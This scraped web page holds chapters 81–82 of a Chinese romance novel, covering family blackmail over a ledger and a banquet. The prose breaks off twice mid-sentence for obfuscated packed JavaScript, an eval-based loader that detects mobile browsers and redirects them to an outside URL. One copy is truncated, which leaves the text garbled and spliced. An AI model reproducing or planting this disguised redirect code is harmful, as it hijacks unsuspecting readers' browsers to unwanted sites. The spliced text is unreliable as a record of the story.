余萧弋想起那个曾在花园里陪了一整个午后时光的温柔女人,也一阵刺心般的难过。 余珺彦站起身,拍了拍身上的灰,最后说道:“你自己选,是要这组蒙太奇的照片出现在媒体上,从此和方太初再无可能,还是要做一个家族的背叛者,让爷爷奶奶大失所望,亲手把他们的宝贝儿子送进监狱里去。江山,美人,你选一个。” 余萧弋已几乎发不出声音,“你自己为什么不做?明明恨他的那个人,是你。” 余珺彦大笑,“因为我要做那个无辜的既得利益者啊,余巍巍一入狱,杨家必定悔婚。我拿到爷爷布局到欧洲的投资款,就会立刻动身回美国和阿羡结婚,这边的事,我从此不再过问。Theo啊Theo,别说哥不疼你,我已经把所有明牌打给你看了,至于何去何从,由你。” 说完,他就大踏步出了门,临出门前,还不忘提醒余萧弋:“已经半个小时了哦,你别让姑姑等太久。 他嘲讽,“她一向,那么疼你。” “哦还有。”他转身,眼里充满同情,“那只叫雪儿的小猫我托给吴妈的儿子帮我养大了,一直活到去年,寿终正寝。” 81.第 81 章 门被余珺彦从外面关上。 余萧弋跌回地板,就那么定定盯着头顶的吊灯很久。 世界从来没有如此安静过,心脏被前后贯穿的滋味痛到他蜷缩,每呼吸一下换来的都是眼泪更汹涌的决堤。 不应该的。 他在心里对自己说。 从小就作为继承人重点培养、十八岁就已经在家族事务和生意决策上拥有一定话语权的他,什么权与利的争斗和人心的险恶没见过? 相比之下,余珺彦这手明牌,已经算是阳谋。 而且,他不是早预判他和他之间早晚会有这样一场角逐了吗,既然如此,他又在难过什么? 忽而他又笑出来,开始佩服余珺彦的高明。 从余淙淙出事被召唤回国到现在,也就短短两个月,他就已经将他余萧弋的一颗心算无遗策,笃定他别无选择只能成为他的一把刀。 余蓁蓁没骂错,他的确太不懂掩藏心事,才让自己的软肋成为了别人的攻击目标。 想必,上次将他和方太初恋爱的消息卖给狗仔就已经是余珺彦的一次试探了吧。 试探两人是会因此而退缩还是更加维护彼此。 他笑。 笑余珺彦浪费心思。他这样一个只要遇上她就变患得患失容易情绪失控的笨蛋,他就算试一万次,也次次都会试中的,好吗? 他倒是不在乎自己成为那把刀,他在乎的是,这一刀斩下去,带来的血雨腥风,究竟是不是余家能承受的。 那本账本,必定牵一发而动全身,除了余巍巍本人,不定还会波及到余家得罪不起的哪位大人物,这一切余珺彦这个平等恨余家每个人的人可以无所谓,他余萧弋却不能不仔细权衡。 事情太大,不跟父母商量肯定是不行的,余珺彦是猜人心的高手,既然他说账本在他们手里,那就一定在。 可又要他怎么开口呢,若说实话,父母一定会误会是方太初用情不专,在他们兄弟二人之间摇摆不定,才导致他被人牵制。 那任凭他们怎么喜欢她,他和她的事,都算完了。 就像真逼得余珺彦发疯,把那些蒙太奇色彩的照片放给媒体,他和她也完了一样。 他们这样的人家,最注重体面,当年余珺彦的母亲都和余家没关系了还不被允许新恋情见诸报端呢,他和余珺彦两个被器重的备选继承人怎么可能被容忍和一段“三角关系”的绯闻产生瓜葛? 到那时候,真相怎样就不重要了。 他们有的是办法,逼他放手,让方太初这个名字,从此成为港岛传媒业提及余家时的禁词。 话说回来,方家难道就会任凭自家掌上明珠被无辜卷入他们余家肮脏的内斗吗? 若真有那么一天,想必街头小报的油墨还没干,方协文夫妇就已经将女儿带回北京了,连个告别的时间都不会给他们预留。 别说这辈子,下辈子他都别想再见到她。 余珺彦可以玉石俱焚,他却不能冒险。 失去她,他也活不成了。 如果人都没了,所有的钱,权,继承人的身份对他而言又有什么意义? 但若不说实话,他又该怎么师出有名,让父母不会对他的动机产生怀疑? 他很清楚,没有他们的帮忙,仅凭他个人能力,即便拿得到账本,他也很难精准找到切入点。 但比这些更棘手的是,他根本拿不准父母会不会帮他。 他们有他们出于大局的考量,除了他自己,没有人一定会为他的爱情买单。 即便最后诸事皆顺,余巍巍真被他搞进了监狱,余绍鸿和董事会的股东们又会怎么看他? 一个罔顾亲情为了夺权做事一点余地都不留的人,还值得信任和重用吗? 失去了家族的信任,他将来又拿什么去爱自己爱的人,匹配她的一切呢? 余萧弋死死攥紧掌心里的宝石耳饰,活了二十几年,从没有像此刻这样无助过。 此事至此,似乎无论他怎么做,都已注定是输局,而余珺彦则真成了那个无辜的既得利益者,且永远手里都会握着一把悬于他头顶的剑,只要他还爱方太初一天,就要因此而提心吊胆一天。 此题已无解。 姓余,就是他的原罪。 打开手机,才发现她给他发了好多条消息过来。 【仔仔拉我说话,罗里吧嗦说了一堆我也没抓住他的重点,只是感觉他今天心情好像并没有想象中那么好,莫非是人真的长大了?】 【刚刚猜谁和我擦肩而过?Marissa杨!不过幸好室内光线暗,她貌似并没有看见我。】 【Theo余你果真不喜欢的人连朋友也没得做吗?】她发来一个调皮的表情,【若哪天你也不喜欢我了,是不是连乘坐航班都会刻意避开北京的空域?】 过了十几分钟,才是下一条:【人呢?】 【哦,铭仔说你有事出去了。我好饿,就不等你了哦。】 【今晚的菜不错。】 【叫你不好好教我粤语,导致主持人讲的我一句没听懂。】 又过了半晌,【仔仔一会儿好像有show time,他叫我帮他听一下几句歌词的韩语发音。他知不知这样好耽误人吃饭啊!】 【喜欢那个蟹黄官燕羹,你回来别忘了尝。】 余萧弋抿了抿唇,一行眼泪落在身下的羊毛地毯上,无声无息。 他爬起身,缓步走到卫生间,拧开水龙头洗了一把脸,再抬头,面上半个小时前还残存的春风得意已消失无踪,剩下的唯有痛苦,迷茫,以及愧疚。 痛苦他走不出的困境,迷茫他看不穿的未来,愧疚她因他而陷入的不堪。 她本应该永远那么率真明媚不染俗尘的,不是吗? 都是他的错。 他抬起手,很想重重给自己一巴掌,但最后还是停在半空。 余蓁蓁的话在耳边响起。 他的脊骨还不能塌。 更不能顶着一张狼狈不堪的脸出现在所有人面前。 她还在那里,等着他。 那么聪明的人,肯定一眼就能看出他的不对劲,而他不能,绝不能,让她知道发生了什么事。 再次回到宴会厅的时候,席间气氛已渐入佳境。 舞台上某知名主持人正和余淙淙插科打诨,两人你一句我一句,惹得台下宾客笑声不断,时不时就响起一阵热烈的掌声。 他讥诮地扯了扯嘴角,他这个小叔在娱乐圈打拼这么多年,一部经典作品没留下,痞帅的气质倒是随着年龄逐年增长,如今就这么老油条似的站在那讲几句笑话,竟然也有这么多人买账。 而且看上去,他是真的很快乐。 不知怎么,他竟有几分羡慕。 巡视了一圈,余萧弋也没有看到方太初的身影。 反而看见余珺彦举着酒杯,微微挑眉朝他扬了扬下巴。 他别开视线,指尖无意识地摩挲着西装的袖口,径直走向曹旸。 “小余总。”曹旸起身,探寻地看了他一眼,“方小姐舞台侧方的化妆间。” “谢谢。”余萧弋弯唇,将手里的宝石耳饰递给她,“这个一会儿你帮我交给她。” 曹旸有一瞬间的怔愣。 但她向来是个执行力强的人,也没多问,只是小心将东西收了。 余萧弋立刻明白她是知道内情的,但还是嘱咐了一句:“别告诉她是我给的,就说……”他顿了顿,看了看舞台方向,声音很轻,“就说是余珺彦让你转交给她的。” 他脸上的表情明明那么平静,曹旸脊背却不知怎么生出一层冷汗,下一秒,她就垂下了眸子,应声道:“知道了,小余总。” 余萧弋点点头,嘴角仍是带着笑的,“听说今天的菜不错,你多吃点。” * 化妆间里只有小初和余萧泽两人。 说是让她帮忙纠正发音,但她听着他几首歌都唱得挺好的,连音准都无可挑剔,也没什么她发挥的空间,便借机想溜:“行,已经很完美了,再苛求就有点超过了。没什么事我就回去吃饭了。” “姐姐。”余萧泽一把拉住她,“再陪陪我。” 小初没好气拍掉他的手,“说话就说话,拉拉扯扯干什么?” “好。”余萧泽从善如流,“是不是我规规矩矩,你就能留下来?” 小初答得干脆:“不是。” 余萧泽垂了垂嘴角。 “你到底跟我有什么话说,痛快点,别浪费时间。我都一晚上没好好陪你哥了。” “你好伤人,今天是我生日哎。” “你生日又怎样,又不是明天后天不能见。” 余萧泽忽然目光灼灼看向她,“若真的明天开始再见不到面呢?” 小初脑子有句话刚要出口,又被她紧急收了回去,今天毕竟是他生日,有些谶,还是要避讳一下。 于是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到宴会厅的时候,台上某位家喻户晓的女歌手正在唱歌,一首很动听的情歌,小初倚在一根罗马柱边,静静听了一会儿。从她这个角度看过去,余萧弋的侧颜如刀刻,眉眼处的线条尤为流畅,在这个浪漫的氛围里更是有种说不出的味道。 可不知怎么,她总觉得他有些落寞,没有离开之前那么快乐了。 有人过去敬酒,他也来者不拒,一首歌的时间,她看他就喝了四五个小半杯。 她不知他酒量如何,更从没见过他醉的样子,但……这种喝法,真的没问题吗? 正想提裙回到他身边,一转身却撞上曹旸。 “小姐,这个要不要戴上?”曹旸扬了扬手中的宝石耳饰。 小初拍了拍额头,对自己也有些无语,笑得眼睛里似有银河倒转,“你不提醒我都忘了这事了!”继而微微侧身,将耳垂递给她,“OK啊,你帮我戴。” 曹旸沉默执行。 戴完一只,她又背过身去,将另一只耳饰从包里拿出来,然后她才想起什么来,侧眸问道:“余珺彦亲自给你送过来的?” 曹旸不喜欢撒谎,于是没有看她的眼睛,只是微微“嗯”了一声。 小初挑了挑眉,“原以为他会为此敲我一竹杠呢,不想竟这么痛快?” 曹旸心想,会不会已经敲过了,只是你不知道呢? 不过她向来不是个多话的人,在形势不明之前,她的习惯向来是,再观察观察。 回到座位的时候,刚好到余萧泽的show time,余萧弋目光投在舞台上,并没有注意到她的到来,还是她的手先从背后捏了捏他的耳垂,他才蓦地回过头来。 四目相对,他的目光有些沉,小初不确定他是不是喝醉了,于是在他面前晃了晃手指,“怎么了Theo余,傻了?” 他这才笑着拉她在身边坐下,笑得比她认识他的任何一个时刻都动人,甚至有种染着酒气的欲的味道,“Babe,我想你了,你想我了吗?” 小初这才确定他是真的醉了,才半个多小时不见,谈什么想不想……于是赶紧舀了一口炖盅里的汤喂给他,半是嗔怪半是关心:“你醉了,喝点汤,醒醒酒吧。” 他就那么就着她的手将那口汤慢慢咽了下去,却撒着娇还要第二口,“喂都喂了,干脆喂完吧。” “你疯了?”小初总觉得他哪里不对劲,脸红了一片,“周围都是人。” 离他们最近的铭仔第一个捕捉到这个画面,立刻夸张地用双手捂住了脸,透过指缝打趣道:“放心,周围的人什么都没看到,你们继续,继续。” 一桌子的损友都笑起来。 余萧弋的目光落在她耳垂下方流光璀璨的耳饰上,琥珀色的瞳仁像被谁骤然点了墨,“粉色的确很衬你。” “的确?” 小初疑惑地看了他一眼。 有什么念头一闪而过,她想抓住的时候,已经晚了。 82.第 82 章 余萧泽一身复古高街风亮相在舞台中央时,小初的手指正按在余萧弋的酒杯边缘上,“够了,你不能再喝了,再喝就要难受了。” 余萧弋偏头看向她,笑容有种落寞的迷离:“你不想见识一下我的酒量到底如何吗?” “不想。”小初的目光在他颈间的满钻项链上微微凝滞了两秒,又掠过他的锁骨和马甲领口若隐若现的胸肌曲线,感觉自己正在变成一杯气泡水,有种轻快而漂浮的愉悦,“见识到了又怎样,你是要我晚上睡不着一直惦记着你吗?” 余萧弋本没有将她的话往别的方向想,但她的眼神清澈中又似乎带着某种不自知的妩媚,他倒有些不确定了。 余萧泽开始弹吉他,空气骤然变得混乱而嘈杂,他的一颗心却不知为何更加孤独和颓丧,一种手中沙越握越加速流失的恐惧袭来,竟然连酒精都没办法让他得以暂时的逃避。 他很少放纵自己,无论感情还是口腹之欲。怕的就是有些东西一旦开了头,就很难收场,现在果然,被她方太初重新教了一遍该怎么做人。 今晚,他只想大醉一场。 至于其他的,明天再说吧。 铭仔适时插话进来,“是哪种惦记?是Worry about you还是I want you,这可是两码事。” 余萧弋不敢相信自己听见了什么,转过身去没好气地推了推他的头:“关你咩事?你是变态吗?干嘛一直听别人的墙角?” 铭仔坏笑:“你脸红什么?”下一秒,他就瞪大了眼睛,像发现了什么新大陆,“God,你们不会是还没有……大佬,你身体是不是有什么毛病啊?方太初这么一个大美人整天在你面前晃悠,你竟然也能忍住?” 他声音太大,瞬间把同桌一众损友的注意力都吸引了过来,大家都开始跟着起哄。 余萧弋气得恨不能当场将他毒哑,根本不敢去看一旁的小初,威胁道:“你要不要再大声点,隔壁桌好像还没听清你说什么。” 陈嘉言大笑:“你别逼他,他可是什么都做得出来的,等下连门口安保都知道你余大少爷谈了这么久恋爱还是冰清玉洁的处男一枚,那以后你还怎么在绮丽混啊!方太初是怎么惦记你我是猜不到,但我,肯定是worry about you的。” 小初快疯了,他这都一群什么朋友啊! “Theo余,你一点没猜错,我当初顶着台风也要逃走的其中最重要的一条原因……”她用右手食指点了点铭仔和陈嘉言,“就是他们。” 铭仔才不在意,只说:“看吧,他们破防了,我猜对了。” 陈嘉言眨眼,“我没所谓,反正你又没逃脱。” 阿骢碰了碰小初的杯子,“反正你总会对我们爱屋及乌的,只是时间问题,就像我们也一样,只要你一直对我兄弟好,不嫌弃他身体有毛病,那我们就永远把你当朋友。” 大家都大笑。 余萧弋捡起桌面上的湿毛巾扔过去,“造反是吧?” 阿骢点头:“压抑久了是这样的。” 铭仔马上会意,也不顾还被人家锁着脖子:“二十一年零八个月,还是在荷尔蒙最旺盛的年纪,很难为了。” 池咏珊喝多了酒,眼神有些迷蒙,“从前怎么没发现,Enzo的时尚品味竟然这么好?”她双手托腮,“谁给这小子做的造型,T恤那么短,内裤边都被大家看见了,好痞好张扬,我喜欢。” 所有人闻言都转过头去。 台上的余萧泽正在唱跳,舞台表现力虽仍稍显稚嫩,但那种无拘束的自由,耀眼夺目的少年感,以及绝对的音准和很特别的略带金属质感的嗓音,已经足够令人惊艳。 比上次在影音室的状态更稳了。 大家都为他鼓掌,铭仔甚至吹起了口哨。 余萧泽闻声将目光投过来,小初立刻拉着余萧弋的手,和他一起发射了几个爱心过去。 余萧泽看见后果然跳得更卖力了。 余萧弋有些无语:“还嫌他不够人来疯呢。” 小初笑:“今天他生日嘛,哄哄他怎么了。而且你不觉得他挺有天赋的吗?要是以后有更大的舞台给他展示的机会,他一定能熠熠生辉,大放异彩的。” “妈说过了年就把他送国外去呢。” 池咏珊接过话去,“我倒认同方太初的观点,这小子明显天生就是吃娱乐圈这碗饭的,要不我开个经纪公司专门捧捧他好了,说不定他就是我人生中第一桶金呢。” 铭仔说:“我入股。” 陈嘉言:“怎么分成,能先签他二十年,合同里约定个天价违约金吗,那样左右都能赚。” 池咏珊笑:“赔不起天价违约金接受潜规则也行,我突然发现,弟弟其实还挺有几分姿色的。” 陈嘉言目光灼灼,“有道理啊!” 余萧弋半个字都听不得了,忽地一下起了身,“你们还是人?” 阿骢大笑,“你别说话了,万一叫Enzo抢先从男孩变成男人,别说绮丽,你以后中环都不要来了。” 一群人都是发小,说话本就没那么多禁忌,除此之外几人的父母今天也都在场,余萧弋怎么也得给他们留几分面子,于是也懒得计较,转而拉起小初的手,“走,我介绍外公外婆他们给你认识。” 小初起身,又实在气不过,另一只手在空中转了个圈,从铭仔开始,一个都没放过。 “你讨厌。” “你也讨厌。” “还有你。” “你也是。” “别笑了,你牙上都是红酒渍。” “那个全程没说话的,别以为你不说话就是好人了。” 说完就拉着余萧弋转了身。 然后就听见身后传来一阵爆笑。 陈嘉言快被呛到:“他俩真绝配。” 铭仔说:“好适合搞纯爱的一对。” 阿骢:“他身体到底什么毛病?” 池咏珊:“她今天穿这身礼服,真的好仙气又清甜,完全人间水蜜桃来的嘛,Theo要是连这都能忍住,那是真的要约一下医生了。” 小初和余萧弋走了几步,终于听不见那几人肆无忌惮取笑他们的声音了,七厘米的高跟鞋好不舒服,她蹙了蹙眉,“你瞧你那群狐朋狗友。” 余萧弋勾唇,神色又落寞下来,手上力气却半分没松,恨不能将她攥进骨血里,“你别理他们。其实他们也只是面上散漫,内里都有各自的苦楚。” 他拉她绕过一个烛台和鲜花相映的高桌,远离人群,躲到一根罗马柱后面,耐心解释,“铭仔是他爸在外面生的,这些年一直被大房排挤,陈嘉言爸爸快六十了还有私生子在出生,阿骢从小就没有妈妈,池咏珊稍好一点,父母和睦,家里生意也做得最大,但她爷爷去世前遗嘱没处理好,几个子女因争产而反目,官司打到连法官都怒斥他们浪费社会资源还没结束。” “啊?”小初愣住。 她没想到,有钱人的世界也不是人人都圆满幸福。相比之下,她已经是被父母和家人保护得很好,又好好爱着长大的了。 不知怎么,这一刻的她突然有点想家。 “他们人都不坏。” “嗯。”小初又怎么会看不出,他们之间感情极好,玩笑归玩笑,真有什么事,肯定会义无反顾站出来维护彼此的。 “走吧,带你去见外公外婆还有太婆。” “你等下。”小初深呼吸,“我有点紧张。” “紧张什么?”余萧弋笑,“外公外婆本身就是东北人,算你半个老乡。太婆快一百岁了,她只会讲上海话,别说你听不懂,我也很吃力,所以,你就微笑点头装装乖好了,其他的我来。” 他补充,“他们肯定都很喜欢你,不会难为你的。老人嘛,谁不喜欢软软糯糯的小女孩。” 小初说,“我才不软糯,我很硬的好不好,说不定,比你还硬。” “……”余萧弋呼吸一紧,本来无比低沉的情绪都被她带动了起来,“不许胡说。” 小初反应了一下才明白他在计较什么,瞬间红了脸,“怎么你朋友调侃你行,我调侃你就不行?” “废话,我又不用跟他们证明什么。” 她很小声,“跟我也不用。” 他立刻用力握了一下她的手。 她马上弯起眼角,“因为我知道真相。” 为了保持格调,宴会厅的光线调得极暗,吊灯被设计成了一团团触手可及的星系云,高低错落着。 桌面上的烛台里火光跳动,衣着华贵的宾客们手执高脚杯,言笑晏晏,氛围浪漫到像所有人在一片繁星璀璨的夜空下共赏银河。 可若抛去这一切浮华,所谓豪门夜宴,本质也不过就是一场盛大的人情往来和资源互换,小初看见萧文然和余韬韬一直在频频举杯悉心照顾着到场的每个客人,倒是没看见余绍鸿和余蓁蓁。 余萧弋解释,“爷爷奶奶和姑姑在贵宾室陪不方便露面的客人呢。” 小初了然。 目光不小心滑过正和几人推杯换盏的余巍巍,她有些好奇,“你二叔身边那个该不会就是船王杨镝英吧?” 余萧弋若有所思地看她一眼,“你竟认识二叔?” 小初想起在余珺彦客厅里那一小段惊心动魄的回忆,神情有些不自然,“你们家人,都算半个公众人物了吧,认识有什么奇怪。” 这点余萧弋倒是认同,“也是。”又回答他的问题,“他旁边的是杨镝英,另外几个也都是生意场上有头有脸的人物,二叔善结交,三教九流都能搭上点话。” 小初小声:“气质上看得出。” 余珺彦挨的一巴掌实在令她记忆犹新,再想起他还曾被他绑在家里三天,就是因为怕他擅自跑去郭永仁的葬礼,她对余巍巍这个人就很难有什么好感,更不要说,他那天还说了那么多粗俗甚至带着点癫狂的话。 她扯了扯余萧弋的手指,“我们绕过去,不要从他身边经过。” 话音一落,两人就同时被窗外一道闪电吸引了目光。原来,不知道什么时候,外面已经下起了雨。 风力不减,大雨滂沱落入海面,也用力打在玻璃上。 余萧弋探寻,“你厌恶他?” 小初抿抿唇,不知他何以有此一问,那毕竟是他的长辈和家人,她不想做过多评论,于是没吭声。 他又说:“可以直说,我想听听你的看法。” 小初看了看左右,发现身边都没什么人,且大家的注意力都在刚登台的主持人身上才敢放心说:“感觉他心术不正,像是那种为达目的不择手段的人,总之和你爸还有两个姑姑给人的感觉不太一样。而且你不觉得他眼袋很重吗?看着比你爸至少大十岁,平时肯定没少纵情声色犬马。” 余萧弋点头:“方小姐果然慧眼如炬。”顿了顿才说,“他半年前在境外一个岛上被人做了局,三天两夜就输掉两个亿,现在这个窟窿应该还没填上,所以比较心急。” 小初冷哼,“害群之马。” 余萧弋笑,“英雄所见略同。” 晚宴的座位都是固定的。为显尊重,余家特地把余萧弋的外公外婆和余家太婆安排在了同一桌,并拜托家族里比较德高望重的长辈陪同照顾。 除此之外,桌上还有包括余萧盈在内的几个未长成的孩子,身份倒不难猜。 老人家年纪大了,听力和视力都有限,所以被安排在了离舞台最近的位置。 余萧泽已经表演完毕,主持人正拉着他说话,并调侃,干脆让他小叔带着他入行好了,刚好港娱缺他这款新生力量已经很久了,只要他肯,分分钟红遍整个亚洲。 余萧泽还算谦虚,虽然满身是汗,头脑倒是没发昏,话说得很漂亮,表示今晚太多娱乐圈前辈在场,自己这种水平当做幼稚园小朋友汇演哄大家开开心就算了,说什么红遍亚洲,就贻笑大方了。 台下都笑。 然后他才倾身到话筒前,眨眼,“其实我的理想是红遍全球啦。” 说完立即害羞地回身将自己埋进了主持人肩头,一副没脸见人的模样,逗得下面笑声一阵高过一阵,掌声震天。 谁能挡住漂亮多金的年轻男孩一边吹牛一边撒娇呢? 小初将目光落在他手臂上扎着的印花丝巾上,饶有兴致地挑了挑眉。 她倒是没想到,平时那个一道简单的数学题讲三遍都听不懂的小屁孩,在这么多大人物面前表现自己,竟然这么游刃有余落落大方。 Old Money的气度和教养,果然还是不容小觑的。 还是依偎在外婆身边的余萧盈最先发现了他们,喊了一声,“大哥,小初姐。” 小初谢天谢地,她没在这个场合喊她大嫂,否则她是真的要找条地缝钻进去了。 余萧弋介绍她给长辈们的时候,始终若有似无贴在她身后寸许的距离,没有肢体碰触,也没有太过于亲近,但任谁都不难看出,他对她的尊重和保护。 毕竟是还没有得到双方家庭正式认可和祝福的关系,太亲昵给人的观感未免过于轻浮,这样朋友般大方明朗,反而更得体一些。 装乖不是什么难事。 无非是他让她喊人她就喊人,他们夸她她就羞涩笑笑,其余的他自会妥善处理,绝不会让她尴尬和难堪。 余萧弋的外公外婆看着都很年轻,而且面相极好,人也亲和,一举一动都带着东北人与生俱来的热情和爽朗,而且看得出他们是真的喜欢她,还没说上几句话,就已经拉着她的手不放,就差把果盘里的水果直接喂到她嘴里了。 太婆虽然快一百岁了,思维却一点不糊涂,余萧弋只说了句,“这是方太初。” 老太太就将两人仔细打量了一遍,笑眯眯道:“晓得侬在谈恋爱啦,小姑娘蛮好嘛,喜欢就叫伊爸爸妈妈帮你出面敲敲定咯,当心飞了。”又问,“图章敲过了没有?图章敲过嘛总归保险一点的。” 余萧弋迅速瞥了小初,简直都不该怎么维持表情,只能用蹩脚的上海话回过去:“太婆,我们还年轻呢!” 小初有些好奇,“你们在说什么?” 余萧弋浅浅笑:“太婆夸你漂亮呢。” 小初很是无语,一副“余萧弋你是觉得我方太初很好骗吗,你们刚刚明明说了那么长一段话,就只是夸我漂亮?”的表情,但人太多,她也就没拆穿他。 旁边的叔公笑出声,这次说的是粤语,“你太婆盼着有生之年能五代同堂呢,后生仔还要多努力才行。” 这几句小初偏偏都听懂了,她稍微思考了一下,大概也就倒推出了老太太刚刚说的什么,不禁没好气地在没人察觉处掐了余萧弋大腿一把,叫他再胡乱敷衍她。 余萧弋用力忽略那一丝隐隐带着酥麻感的疼,仍是不疾不徐的,回叔公:“上面还有哥哥们呢,压力总还轮不到我身上。” 余家老太太儿子生了四个,余绍鸿是长子没错,可其他房各自发展得也很好,而且老太爷活着时候就定好了规矩,将一切分配得清清楚楚,约定好由长房继承家业,其他房只能分钱,且不允许在生意上和长房恶意竞争,以保持家族传承。 这些年来,几房之间关系一直都不错,在很多领域都有合作,也算豪门里一段佳话了。 桌上另外三个未成年小朋友果然如小初所料,正是余巍巍和原配所生的子女,长子余静霆和仔仔差不多大,只是更沉默些,论样貌,恐怕连他哥余珺彦的六成还不及,只能算作清秀。 另外两个小女孩,跟余萧盈差不多大的那个叫余静训,更小的的那个叫余静希,教养和气质都不错,看得出她们的妈妈在孩子们身上没少付出心血。 小初忍不住想起余珺彦近乎自伤般提起自己妈妈时候的表情,有片刻的动容。 一行人正聊着天,一个熟悉的声音慵懒在背后响起,“太婆今天胃口似乎不错,这一整碗的官燕羹竟然吃了大半。” 众人都回过头去。 只有小初和余萧弋没动。 因为他们此刻都没心情敷衍他。 余珺彦自顾自拉了一把椅子坐下,先是跟长辈问了好,才看向三个弟弟妹妹,轻声道:“你们今晚玩得开不开心?外面下雨了,你妈妈那边什么安排?是派车来接还是允你们回余宅小住一段?” 几个孩子对他倒是还算亲密,叫了声哥,就围着他叽叽喳喳说起话来。 小初没想到他还有这样一面,有些意外。 叔公说:“太婆能不高兴吗?眼见着你们都长大了,五代同堂的愿望越来越近了。Jeo你是这一辈中最年长的哥哥,要做好表率才是。” 余珺彦笑:“我努力,争取早日让太婆实现愿望。” 叔公哈哈大笑,“你小子,看来跟杨小姐进展很顺利嘛。” 余珺彦低头喝了口酒,只是笑,没答。 小初不经意抬眸过去。本来是很无声的动作,不知怎么就惊动了他,目光对上,他极沉静地看了她一眼,又别开了。 整个过程很快,应该还不足两秒钟,但还是被余萧弋捕捉到,他抿抿唇,头脑里的酒精发作,他的思绪乱了,掌心出了汗,世界轻微摇晃了几下,有那么一瞬,他还以为是地震。 晚宴进入后半段,大家饭吃得差不多,都开始自由社交。 余萧泽远远看见小初,衣服还没换就跑了过来,跟她说:“姐姐你在这等我一下,我要同你喝我人生中第一杯酒。” 碍于长辈在,小初不好说他什么,只轻轻在底下扯了扯余萧弋西装的袖口,用眼神询问了一句,能走了吗? 两人起身正待离开,萧文然和余韬韬却走了过来,喊住他,“Theo你一会儿带弟弟陪我们一块去敬几杯酒。” 余萧弋只能停住。 萧文然又没好气看了眼余萧泽,因为周边都是自己人,也没给他留面子,“Enzo余!你把那裤子给我提起来,刚才人多没好意思说你,穿的什么东西,内裤都让人看见了!” 余萧泽不敢相信自己听到了什么,忽地看了眼小初,一张脸涨得通红,嘟嘴说道,“妈!人家这个是特别的设计好不好!这叫舞台张力你懂不懂!” 萧文然说:“谁给你设计的,让他退出设计界。” 大家都笑出声。 外公说:“我看我外孙就整挺好的,他那个内裤一定是牌子货吧,那么大一排Logo,确实该露出来,不然这钱不就白花了吗?” 东北人的幽默自然只有东北人最先get到,小初笑到颤抖,耳垂上的耳饰也跟着闪着流光,更衬得她明艳无双。 萧文然握住她的手,眨眨眼:“小初,你先照顾下自己,哥哥借我用一下,一会就还你。” 小初脸上温柔肆意的笑瞬间凝住,转而化成一朵蔷薇,娇羞地盛放开来。 余萧弋轻轻揽了揽她的腰,“你先回铭仔他们那桌,我一会儿去找你。” 他们一家人去应酬,带她自然不合适,小初理解地点点头。 心中却难免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818818|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些无措。 也不知她刚点兵点将似的把人家骂了一圈,现在回去会不会被围攻。 “放心,他们会爱屋及乌的。”余萧弋似是看出了她心中所想,哄小朋友似的安慰道。 很快,他们一家人就手持酒杯往贵宾室去了。 小初正待转身离开,余珺彦却如影随形般附了过来,和她碰了碰杯子,用只有两个人能听见的声音说道:“阿羡晋升副教授并获得终身教职了。” “是吗?”小初眼睛一亮,也很替她高兴。 余珺彦点点头,显然兴奋过了头,却又不知和谁分享,而她是他唯一的听众,“回国前就在流程中了,只是结果才出来。她才三十岁,是不是很优秀?” “她当然优秀!”小初喝了一口杯子里的气泡水,“就是选男朋友眼光不怎么样,非要一个和别人有婚约的男人。你到底准备怎么办,杨小姐她……” “我和她很快就会结束了。”余珺彦眯了眯眸子。 小初不明所以,怀疑地看他一眼:“你确定?” 余珺彦笑得颠倒众生,“确定。” 小初抿抿唇,“那祝你得偿所愿吧,只是,别伤害无辜的人。” 余珺彦愣住,过了几秒才将目光落在她的耳饰上,试探道,“他……给你这个的时候,有没有说什么?” “说什么?” “就,一些……话。” “没。”小初回忆了一下,“曹旸姐就嗯了一声,再没说别的。” “曹小姐?!”余珺彦愣了愣,“你说的是曹小姐?” “不然呢?”小初怀疑地皱了皱眉,突然明白过来,“你说的是……Theo余?” “没,我说的就是曹小姐。”余珺彦不自然地笑笑,“我还有应酬,你忙去吧。” 说完就大步离开了。 小初看着他的背影,陷入了沉思,心底某种很无名的,甚至是没有道理的火气无声无息,却又迅速燎原,所到之处皆是一片焦土。 她突然好渴,干脆站在原地将杯子里剩下的气泡水全部喝完,才浑浑噩噩朝铭仔那桌去了。 她完全沉浸在自己的世界中,以至于根本没注意到,刚刚余萧弋进贵宾室之前,回头看到的就是她和余珺彦相谈甚欢的情景,以及他离开后,她仍对着他背影恋恋不舍的模样。 心情开始极度不好。 她不明白他有什么话不能和她直说,偏偏用这样的方式。 若他根本没在意,又何必把东西从曹旸手里过一道? 若他真那么在意,甚至怀疑她和余珺彦有什么不可告人的秘密,又这么一副小心翼翼顾全大局的样子给谁看? 假惺惺。 偏偏有人触她的霉头。 还是一群她不认识的人。 宴会厅里到处都是嘈杂人声,罗马柱和鎏着金的屏风刚好为她们隔绝了一方很小的天地,很适合私密聊天,或是解决一下私人恩怨。 “方太初。”其中一人珠光宝气,用不太标准的普通话喊了声她的名字。 小初停下脚步,不解地看了对方一眼,“我们认识?” “不认识,所以才想认识认识啊。” 对方的表情和语气都很戏谑,显然来者不善。 小初冷笑,“没兴趣。” 一转身却又被另一人拦住。 杨敏中从罗马柱后面闪身出来,眼神和她认识的那个矜持温柔的大家小姐判若两人,沉得似染了毒药,“方小姐,我们要不要换个地方聊一聊?” 小初除非傻了才会跟她们走,但她向来也不是怕事的人,索性停下来似笑非笑看了她一眼,“杨小姐,我劝你别弄这些有失身份的事,这里是余家,我只要喊一声,大家都难看。” 杨敏中向前一步,忽而笑出来,“你不是很嚣张吗,现在竟拿男人出来说事?” 小初才不会陷入自证,反问她,“不是为了那个男人,你又为什么出现在我面前?” “我为他?”杨敏中像听到了什么笑话,“一个男人而已,对我杨敏中算什么?更何况,还是我玩过丢掉的。你喜欢,拿去好了。” 